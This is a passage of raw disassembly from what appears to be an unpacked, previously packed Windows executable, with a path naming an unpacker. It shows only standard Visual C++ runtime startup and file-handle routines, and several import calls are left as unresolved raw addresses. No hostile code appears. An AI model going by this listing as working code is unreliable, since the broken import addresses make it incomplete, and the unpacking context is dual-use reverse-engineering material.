locret_422E71: ; CODE XREF: sub_422E2F+3Ej retn sub_422E2F endp ; --------------------------------------------------------------------------- cmp dword_4DC954, 0 jnz short loc_422E80 call sub_42026D loc_422E80: ; CODE XREF: ___:00422E79j push esi mov esi, dword_4DC94C mov al, [esi] cmp al, 22h jnz short loc_422EB2 loc_422E8D: ; CODE XREF: ___:00422EA5j ; ___:00422EA8j mov al, [esi+1] inc esi cmp al, 22h jz short loc_422EAA test al, al jz short loc_422EAA movzx eax, al push eax call sub_424D36 test eax, eax pop ecx jz short loc_422E8D inc esi jmp short loc_422E8D ; --------------------------------------------------------------------------- loc_422EAA: ; CODE XREF: ___:00422E93j ; ___:00422E97j cmp byte ptr [esi], 22h jnz short loc_422EBC loc_422EAF: ; CODE XREF: ___:00422EC4j inc esi jmp short loc_422EBC ; --------------------------------------------------------------------------- loc_422EB2: ; CODE XREF: ___:00422E8Bj cmp al, 20h jbe short loc_422EBC loc_422EB6: ; CODE XREF: ___:00422EBAj inc esi cmp byte ptr [esi], 20h ja short loc_422EB6 loc_422EBC: ; CODE XREF: ___:00422EADj ; ___:00422EB0j ... mov al, [esi] test al, al jz short loc_422EC6 cmp al, 20h jbe short loc_422EAF loc_422EC6: ; CODE XREF: ___:00422EC0j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4DC954, ebx push esi push edi jnz short loc_422EDC call sub_42026D loc_422EDC: ; CODE XREF: ___:00422ED5j mov esi, dword_4DB318 xor edi, edi loc_422EE4: ; CODE XREF: ___:00422EFAj mov al, [esi] cmp al, bl jz short loc_422EFC cmp al, 3Dh jz short loc_422EEF inc edi loc_422EEF: ; CODE XREF: ___:00422EECj push esi call sub_41AFE0 pop ecx lea esi, [esi+eax+1] jmp short loc_422EE4 ; --------------------------------------------------------------------------- loc_422EFC: ; CODE XREF: ___:00422EE8j lea eax, ds:4[edi*4] push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov dword_4DB2D0, esi jnz short loc_422F1E push 9 call sub_41DA29 pop ecx loc_422F1E: ; CODE XREF: ___:00422F14j mov edi, dword_4DB318 cmp [edi], bl jz short loc_422F61 push ebp loc_422F29: ; CODE XREF: ___:00422F5Ej push edi call sub_41AFE0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_422F5A push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_422F4D push 9 call sub_41DA29 pop ecx loc_422F4D: ; CODE XREF: ___:00422F43j push edi push dword ptr [esi] call sub_41BEB0 pop ecx add esi, 4 pop ecx loc_422F5A: ; CODE XREF: ___:00422F36j add edi, ebp cmp [edi], bl jnz short loc_422F29 pop ebp loc_422F61: ; CODE XREF: ___:00422F26j push dword_4DB318 call sub_41B0B1 pop ecx mov dword_4DB318, ebx mov [esi], ebx pop edi pop esi mov dword_4DC950, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DC954, ebx push esi push edi jnz short loc_422F9A call sub_42026D loc_422F9A: ; CODE XREF: ___:00422F93j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx nop call near ptr 2660000h mov eax, dword_4DC94C mov off_4DB2E0, esi mov edi, esi cmp [eax], bl jz short loc_422FBF mov edi, eax loc_422FBF: ; CODE XREF: ___:00422FBBj lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_42301C mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_41B4D5 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_422FEF push 8 call sub_41DA29 pop ecx loc_422FEF: ; CODE XREF: ___:00422FE5j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_42301C mov eax, [ebp-4] add esp, 14h dec eax mov dword_4DB2C8, esi pop edi pop esi mov dword_4DB2C4, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42301C proc near ; CODE XREF: ___:00422FCAp ; ___:00423000p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_423046 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423046: ; CODE XREF: sub_42301C+20j cmp byte ptr [eax], 22h jnz short loc_42308F loc_42304B: ; CODE XREF: sub_42301C+58j ; sub_42301C+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_42307D test dl, dl jz short loc_42307D movzx edx, dl test byte_4DC821[edx], 4 jz short loc_423070 inc dword ptr [ecx] test esi, esi jz short loc_423070 mov dl, [eax] mov [esi], dl inc esi inc eax loc_423070: ; CODE XREF: sub_42301C+46j ; sub_42301C+4Cj inc dword ptr [ecx] test esi, esi jz short loc_42304B mov dl, [eax] mov [esi], dl inc esi jmp short loc_42304B ; --------------------------------------------------------------------------- loc_42307D: ; CODE XREF: sub_42301C+36j ; sub_42301C+3Aj inc dword ptr [ecx] test esi, esi jz short loc_423087 and byte ptr [esi], 0 inc esi loc_423087: ; CODE XREF: sub_42301C+65j cmp byte ptr [eax], 22h jnz short loc_4230D2 inc eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_42308F: ; CODE XREF: sub_42301C+2Dj ; sub_42301C+A5j inc dword ptr [ecx] test esi, esi jz short loc_42309A mov dl, [eax] mov [esi], dl inc esi loc_42309A: ; CODE XREF: sub_42301C+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DC821[ebx], 4 jz short loc_4230B5 inc dword ptr [ecx] test esi, esi jz short loc_4230B4 mov bl, [eax] mov [esi], bl inc esi loc_4230B4: ; CODE XREF: sub_42301C+91j inc eax loc_4230B5: ; CODE XREF: sub_42301C+8Bj cmp dl, 20h jz short loc_4230C3 test dl, dl jz short loc_4230C7 cmp dl, 9 jnz short loc_42308F loc_4230C3: ; CODE XREF: sub_42301C+9Cj test dl, dl jnz short loc_4230CA loc_4230C7: ; CODE XREF: sub_42301C+A0j dec eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_4230CA: ; CODE XREF: sub_42301C+A9j test esi, esi jz short loc_4230D2 and byte ptr [esi-1], 0 loc_4230D2: ; CODE XREF: sub_42301C+6Ej ; sub_42301C+71j ... and [ebp+arg_10], 0 loc_4230D6: ; CODE XREF: sub_42301C+19Ej cmp byte ptr [eax], 0 jz loc_4231BF loc_4230DF: ; CODE XREF: sub_42301C+D0j mov dl, [eax] cmp dl, 20h jz short loc_4230EB cmp dl, 9 jnz short loc_4230EE loc_4230EB: ; CODE XREF: sub_42301C+C8j inc eax jmp short loc_4230DF ; --------------------------------------------------------------------------- loc_4230EE: ; CODE XREF: sub_42301C+CDj cmp byte ptr [eax], 0 jz loc_4231BF test edi, edi jz short loc_423103 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423103: ; CODE XREF: sub_42301C+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423108: ; CODE XREF: sub_42301C+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_423111: ; CODE XREF: sub_42301C+FCj cmp byte ptr [eax], 5Ch jnz short loc_42311A inc eax inc ebx jmp short loc_423111 ; --------------------------------------------------------------------------- loc_42311A: ; CODE XREF: sub_42301C+F8j cmp byte ptr [eax], 22h jnz short loc_42314B test bl, 1 jnz short loc_423149 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423138 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423138 mov eax, edx jmp short loc_42313B ; --------------------------------------------------------------------------- loc_423138: ; CODE XREF: sub_42301C+10Dj ; sub_42301C+116j mov [ebp+arg_0], edi loc_42313B: ; CODE XREF: sub_42301C+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423149: ; CODE XREF: sub_42301C+106j shr ebx, 1 loc_42314B: ; CODE XREF: sub_42301C+101j mov edx, ebx dec ebx test edx, edx jz short loc_423160 inc ebx loc_423153: ; CODE XREF: sub_42301C+142j test esi, esi jz short loc_42315B mov byte ptr [esi], 5Ch inc esi loc_42315B: ; CODE XREF: sub_42301C+139j inc dword ptr [ecx] dec ebx jnz short loc_423153 loc_423160: ; CODE XREF: sub_42301C+134j mov dl, [eax] test dl, dl jz short loc_4231B0 cmp [ebp+arg_10], 0 jnz short loc_423176 cmp dl, 20h jz short loc_4231B0 cmp dl, 9 jz short loc_4231B0 loc_423176: ; CODE XREF: sub_42301C+14Ej cmp [ebp+arg_0], 0 jz short loc_4231AA test esi, esi jz short loc_423199 movzx ebx, dl test byte_4DC821[ebx], 4 jz short loc_423192 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_423192: ; CODE XREF: sub_42301C+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4231A8 ; --------------------------------------------------------------------------- loc_423199: ; CODE XREF: sub_42301C+162j movzx edx, dl test byte_4DC821[edx], 4 jz short loc_4231A8 inc eax inc dword ptr [ecx] loc_4231A8: ; CODE XREF: sub_42301C+17Bj ; sub_42301C+187j inc dword ptr [ecx] loc_4231AA: ; CODE XREF: sub_42301C+15Ej inc eax jmp loc_423108 ; --------------------------------------------------------------------------- loc_4231B0: ; CODE XREF: sub_42301C+148j ; sub_42301C+153j ... test esi, esi jz short loc_4231B8 and byte ptr [esi], 0 inc esi loc_4231B8: ; CODE XREF: sub_42301C+196j inc dword ptr [ecx] jmp loc_4230D6 ; --------------------------------------------------------------------------- loc_4231BF: ; CODE XREF: sub_42301C+BDj ; sub_42301C+D5j test edi, edi jz short loc_4231C6 and dword ptr [edi], 0 loc_4231C6: ; CODE XREF: sub_42301C+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_42301C endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4DB488 push ebx push ebp mov ebp, dword_42703C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_42321E call ebp mov esi, eax cmp esi, ebx jz short loc_4231FF mov dword_4DB488, 1 jmp short loc_423227 ; --------------------------------------------------------------------------- loc_4231FF: ; CODE XREF: ___:004231F1j call near ptr 26303CDh nop mov edi, eax cmp edi, ebx jz loc_4232F9 mov dword_4DB488, 2 jmp loc_4232AD ; --------------------------------------------------------------------------- loc_42321E: ; CODE XREF: ___:004231E9j cmp eax, 1 jnz loc_4232A8 loc_423227: ; CODE XREF: ___:004231FDj cmp esi, ebx jnz short loc_423237 call ebp mov esi, eax cmp esi, ebx jz loc_4232F9 loc_423237: ; CODE XREF: ___:00423229j cmp [esi], bx mov eax, esi jz short loc_42324C loc_42323E: ; CODE XREF: ___:00423243j ; ___:0042324Aj inc eax inc eax cmp [eax], bx jnz short loc_42323E inc eax inc eax cmp [eax], bx jnz short loc_42323E loc_42324C: ; CODE XREF: ___:0042323Cj sub eax, esi mov edi, dword_42717C sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_42329D push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_42329D push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_423299 push dword ptr [esp+10h] call sub_41B0B1 pop ecx mov [esp+10h], ebx loc_423299: ; CODE XREF: ___:00423289j mov ebx, [esp+10h] loc_42329D: ; CODE XREF: ___:00423269j ; ___:00423278j push esi nop call near ptr 263061Bh mov eax, ebx jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232A8: ; CODE XREF: ___:00423221j cmp eax, 2 jnz short loc_4232F9 loc_4232AD: ; CODE XREF: ___:00423219j cmp edi, ebx jnz short loc_4232BD call near ptr 26303CDh nop mov edi, eax cmp edi, ebx jz short loc_4232F9 loc_4232BD: ; CODE XREF: ___:004232AFj cmp [edi], bl mov eax, edi jz short loc_4232CD loc_4232C3: ; CODE XREF: ___:004232C6j ; ___:004232CBj inc eax cmp [eax], bl jnz short loc_4232C3 inc eax cmp [eax], bl jnz short loc_4232C3 loc_4232CD: ; CODE XREF: ___:004232C1j sub eax, edi inc eax mov ebp, eax push ebp call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4232E3 xor esi, esi jmp short loc_4232EE ; --------------------------------------------------------------------------- loc_4232E3: ; CODE XREF: ___:004232DDj push ebp push edi push esi call sub_41C310 add esp, 0Ch loc_4232EE: ; CODE XREF: ___:004232E1j push edi call near ptr 2630640h nop mov eax, esi jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232F9: ; CODE XREF: ___:00423209j ; ___:00423231j ... xor eax, eax loc_4232FB: ; CODE XREF: ___:004232A6j ; ___:004232F7j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_423322 push 1Bh call sub_41DA29 pop ecx loc_423322: ; CODE XREF: ___:00423318j mov dword_4DC600, esi mov dword_4DC700, 20h lea eax, [esi+100h] loc_423338: ; CODE XREF: ___:00423354j cmp esi, eax jnb short loc_423356 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DC600 add esi, 8 add eax, 100h jmp short loc_423338 ; --------------------------------------------------------------------------- loc_423356: ; CODE XREF: ___:0042333Aj lea eax, [esp+10h] push eax nop call near ptr 2890000h cmp word ptr [esp+42h], 0 jz loc_423432 mov eax, [esp+44h] test eax, eax jz loc_423432 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_42338C mov esi, eax loc_42338C: ; CODE XREF: ___:00423388j cmp dword_4DC700, esi jge short loc_4233E6 mov edi, offset dword_4DC604 loc_423399: ; CODE XREF: ___:004233DCj push 100h call sub_41B4D5 test eax, eax pop ecx jz short loc_4233E0 add dword_4DC700, 20h mov [edi], eax lea ecx, [eax+100h] loc_4233B7: ; CODE XREF: ___:004233D1j cmp eax, ecx jnb short loc_4233D3 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_4233B7 ; --------------------------------------------------------------------------- loc_4233D3: ; CODE XREF: ___:004233B9j add edi, 4 cmp dword_4DC700, esi jl short loc_423399 jmp short loc_4233E6 ; --------------------------------------------------------------------------- loc_4233E0: ; CODE XREF: ___:004233A6j mov esi, dword_4DC700 loc_4233E6: ; CODE XREF: ___:00423392j ; ___:004233DEj xor edi, edi test esi, esi jle short loc_423432 loc_4233EC: ; CODE XREF: ___:00423430j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423429 mov cl, [ebp+0] test cl, 1 jz short loc_423429 test cl, 8 jnz short loc_42340B push eax nop call near ptr 2620784h test eax, eax jz short loc_423429 loc_42340B: ; CODE XREF: ___:004233FEj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DC600[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423429: ; CODE XREF: ___:004233F1j ; ___:004233F9j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_4233EC loc_423432: ; CODE XREF: ___:00423367j ; ___:00423373j ... xor ebx, ebx loc_423434: ; CODE XREF: ___:00423497j mov eax, dword_4DC600 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_42348F test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_42344F push 0FFFFFFF6h pop eax jmp short loc_423459 ; --------------------------------------------------------------------------- loc_42344F: ; CODE XREF: ___:00423448j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423459: ; CODE XREF: ___:0042344Dj push eax call near ptr 2630000h nop mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_42347E push edi nop call near ptr 2620784h test eax, eax jz short loc_42347E and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_423484 loc_42347E: ; CODE XREF: ___:00423465j ; ___:00423470j or byte ptr [esi+4], 40h jmp short loc_423493 ; --------------------------------------------------------------------------- loc_423484: ; CODE XREF: ___:0042347Cj cmp eax, 3 jnz short loc_423493 or byte ptr [esi+4], 8 jmp short loc_423493 ; --------------------------------------------------------------------------- loc_42348F: ; CODE XREF: ___:00423440j or byte ptr [esi+4], 80h loc_423493: ; CODE XREF: ___:00423482j ; ___:00423487j ... inc ebx cmp ebx, 3 jl short loc_423434 push dword_4DC700 nop call near ptr 26302D5h pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234B8 proc near ; DATA XREF: sub_42205D+Ao ; sub_42218C+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423558 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4234EB: ; CODE XREF: sub_4234B8+90j cmp esi, 0FFFFFFFFh jz short loc_423551 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_42353F push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_42353F js short loc_42354A mov edi, [ebx+8] push ebx call sub_41CB74 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41CBB6 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41CC4A mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_42353F: ; CODE XREF: sub_4234B8+40j ; sub_4234B8+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4234EB ; --------------------------------------------------------------------------- loc_42354A: ; CODE XREF: sub_4234B8+54j mov eax, 0 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423551: ; CODE XREF: sub_4234B8+36j mov eax, 1 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423558: ; CODE XREF: sub_4234B8+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41CBB6 add esp, 8 pop ebp mov eax, 1 loc_42356D: ; CODE XREF: sub_4234B8+97j ; sub_4234B8+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4234B8 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41CBB6 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423590 proc near ; CODE XREF: sub_41DA29+9p mov eax, dword_4DB320 cmp eax, 1 jz short loc_4235A7 test eax, eax jnz short locret_4235C8 cmp dword_43A2F4, 1 jnz short locret_4235C8 loc_4235A7: ; CODE XREF: sub_423590+8j push 0FCh call sub_4235C9 mov eax, dword_4DB48C pop ecx test eax, eax jz short loc_4235BD call eax loc_4235BD: ; CODE XREF: sub_423590+29j push 0FFh call sub_4235C9 pop ecx locret_4235C8: ; CODE XREF: sub_423590+Cj ; sub_423590+15j retn sub_423590 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4235C9 proc near ; CODE XREF: sub_41DA29+12p ; sub_423590+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43C988 loc_4235DC: ; CODE XREF: sub_4235C9+20j cmp edx, [eax] jz short loc_4235EB add eax, 8 inc ecx cmp eax, offset off_43CA18 jl short loc_4235DC loc_4235EB: ; CODE XREF: sub_4235C9+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43C988[esi] jnz loc_423719 mov eax, dword_4DB320 cmp eax, 1 jz loc_4236F3 test eax, eax jnz short loc_42361C cmp dword_43A2F4, 1 jz loc_4236F3 loc_42361C: ; CODE XREF: sub_4235C9+44j cmp edx, 0FCh jz loc_423719 lea eax, [ebp+var_1A4] push 104h push eax push 0 call near ptr 2660000h nop test eax, eax jnz short loc_423653 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41BEB0 pop ecx pop ecx loc_423653: ; CODE XREF: sub_4235C9+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41AFE0 inc eax pop ecx cmp eax, 3Ch jbe short loc_423696 lea eax, [ebp+var_1A4] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41B5F0 add esp, 10h loc_423696: ; CODE XREF: sub_4235C9+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41BEB0 lea eax, [ebp+var_A0] push edi push eax call sub_41BEC0 lea eax, [ebp+var_A0] push offset asc_427C10 ; "\n\n" push eax call sub_41BEC0 push off_43C98C[esi] lea eax, [ebp+var_A0] push eax call sub_41BEC0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_424D78 add esp, 2Ch pop edi jmp short loc_423719 ; --------------------------------------------------------------------------- loc_4236F3: ; CODE XREF: sub_4235C9+3Cj ; sub_4235C9+4Dj lea eax, [ebp+arg_0] lea esi, off_43C98C[esi] push 0 push eax push dword ptr [esi] call sub_41AFE0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h nop call near ptr 2630000h push eax nop call near ptr 26E0000h loc_423719: ; CODE XREF: sub_4235C9+2Ej ; sub_4235C9+59j ... pop esi leave retn sub_4235C9 endp ; =============== S U B R O U T I N E ======================================= sub_42371C proc near ; CODE XREF: sub_423A33:loc_423BABp push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DC600 loc_42372B: ; CODE XREF: sub_42371C+48j mov eax, [ecx] test eax, eax jz short loc_423768 lea edx, [eax+100h] loc_423737: ; CODE XREF: sub_42371C+28j cmp eax, edx jnb short loc_423757 test byte ptr [eax+4], 1 jz short loc_423746 add eax, 8 jmp short loc_423737 ; --------------------------------------------------------------------------- loc_423746: ; CODE XREF: sub_42371C+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4237AB loc_423757: ; CODE XREF: sub_42371C+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DC700 jl short loc_42372B jmp short loc_4237AB ; --------------------------------------------------------------------------- loc_423768: ; CODE XREF: sub_42371C+13j mov esi, 100h push esi call sub_41B4D5 test eax, eax pop ecx jz short loc_4237AB add dword_4DC700, 20h lea ecx, ds:4DC600h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_42378E: ; CODE XREF: sub_42371C+88j cmp eax, edx jnb short loc_4237A6 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_42378E ; --------------------------------------------------------------------------- loc_4237A6: ; CODE XREF: sub_42371C+74j shl edi, 5 mov ebx, edi loc_4237AB: ; CODE XREF: sub_42371C+39j ; sub_42371C+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_42371C endp ; =============== S U B R O U T I N E ======================================= sub_4237B1 proc near ; CODE XREF: sub_423A33+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DC700 push edi jnb short loc_423811 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DC600h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_423811 cmp dword_43A2F4, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_423807 sub eax, 0 jz short loc_4237FE dec eax jz short loc_4237F9 dec eax jnz short loc_423807 push ebx push 0FFFFFFF4h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237F9: ; CODE XREF: sub_4237B1+3Ej push ebx push 0FFFFFFF5h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237FE: ; CODE XREF: sub_4237B1+3Bj push ebx push 0FFFFFFF6h loc_423801: ; CODE XREF: sub_4237B1+46j ; sub_4237B1+4Bj nop call near ptr 2620556h loc_423807: ; CODE XREF: sub_4237B1+36j ; sub_4237B1+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_423825 ; --------------------------------------------------------------------------- loc_423811: ; CODE XREF: sub_4237B1+Cj ; sub_4237B1+28j and dword_4DB2AC, 0 mov dword_4DB2A8, 9 or eax, 0FFFFFFFFh loc_423825: ; CODE XREF: sub_4237B1+5Ej pop edi pop esi retn sub_4237B1 endp ; =============== S U B R O U T I N E ======================================= sub_423828 proc near ; CODE XREF: sub_41DA72+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DC700 push edi jnb short loc_42388B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DC600h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_42388B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_42388B cmp dword_43A2F4, 1 jnz short loc_423881 xor eax, eax sub ecx, eax jz short loc_423878 dec ecx jz short loc_423873 dec ecx jnz short loc_423881 push eax push 0FFFFFFF4h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423873: ; CODE XREF: sub_423828+41j push eax push 0FFFFFFF5h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423878: ; CODE XREF: sub_423828+3Ej push eax push 0FFFFFFF6h loc_42387B: ; CODE XREF: sub_423828+49j ; sub_423828+4Ej nop call near ptr 2620556h loc_423881: ; CODE XREF: sub_423828+38j ; sub_423828+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_42389F ; --------------------------------------------------------------------------- loc_42388B: ; CODE XREF: sub_423828+Cj ; sub_423828+2Aj ... and dword_4DB2AC, 0 mov dword_4DB2A8, 9 or eax, 0FFFFFFFFh loc_42389F: ; CODE XREF: sub_423828+61j pop edi pop esi retn sub_423828 endp ; =============== S U B R O U T I N E ======================================= sub_4238A2 proc near ; CODE XREF: sub_41DA72+32p ; sub_41DA72+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC700 jnb short loc_4238CA mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC600[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4238CA mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4238CA: ; CODE XREF: sub_4238A2+Aj ; sub_4238A2+23j and dword_4DB2AC, 0 mov dword_4DB2A8, 9 or eax, 0FFFFFFFFh retn sub_4238A2 endp ; =============== S U B R O U T I N E ======================================= sub_4238DF proc near ; CODE XREF: sub_41DB50+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC700 jnb short loc_423928 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DC600[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_423928 push eax call sub_4238A2 pop ecx push eax nop call near ptr 2620000h test eax, eax jnz short loc_42391D nop call near ptr 267064Ch jmp short loc_42391F ; --------------------------------------------------------------------------- loc_42391D: ; CODE XREF: sub_4238DF+34j xor eax, eax loc_42391F: ; CODE XREF: sub_4238DF+3Cj test eax, eax jz short locret_423935 mov dword_4DB2AC, eax loc_423928: ; CODE XREF: sub_4238DF+Aj ; sub_4238DF+22j mov dword_4DB2A8, 9 or eax, 0FFFFFFFFh locret_423935: ; CODE XREF: sub_4238DF+42j retn sub_4238DF endp ; =============== S U B R O U T I N E ======================================= sub_423936 proc near ; DATA XREF: ___:00429024o mov eax, dword_4DC5E0 push esi push 14h test eax, eax pop esi jnz short loc_42394A mov eax, 200h jmp short loc_423950 ; --------------------------------------------------------------------------- loc_42394A: ; CODE XREF: sub_423936+Bj cmp eax, esi jge short loc_423955 mov eax, esi loc_423950: ; CODE XREF: sub_423936+12j mov dword_4DC5E0, eax loc_423955: ; CODE XREF: sub_423936+16j push 4 push eax call sub_424E01 pop ecx mov dword_4DB5C8, eax test eax, eax pop ecx jnz short loc_423989 push 4 push esi mov 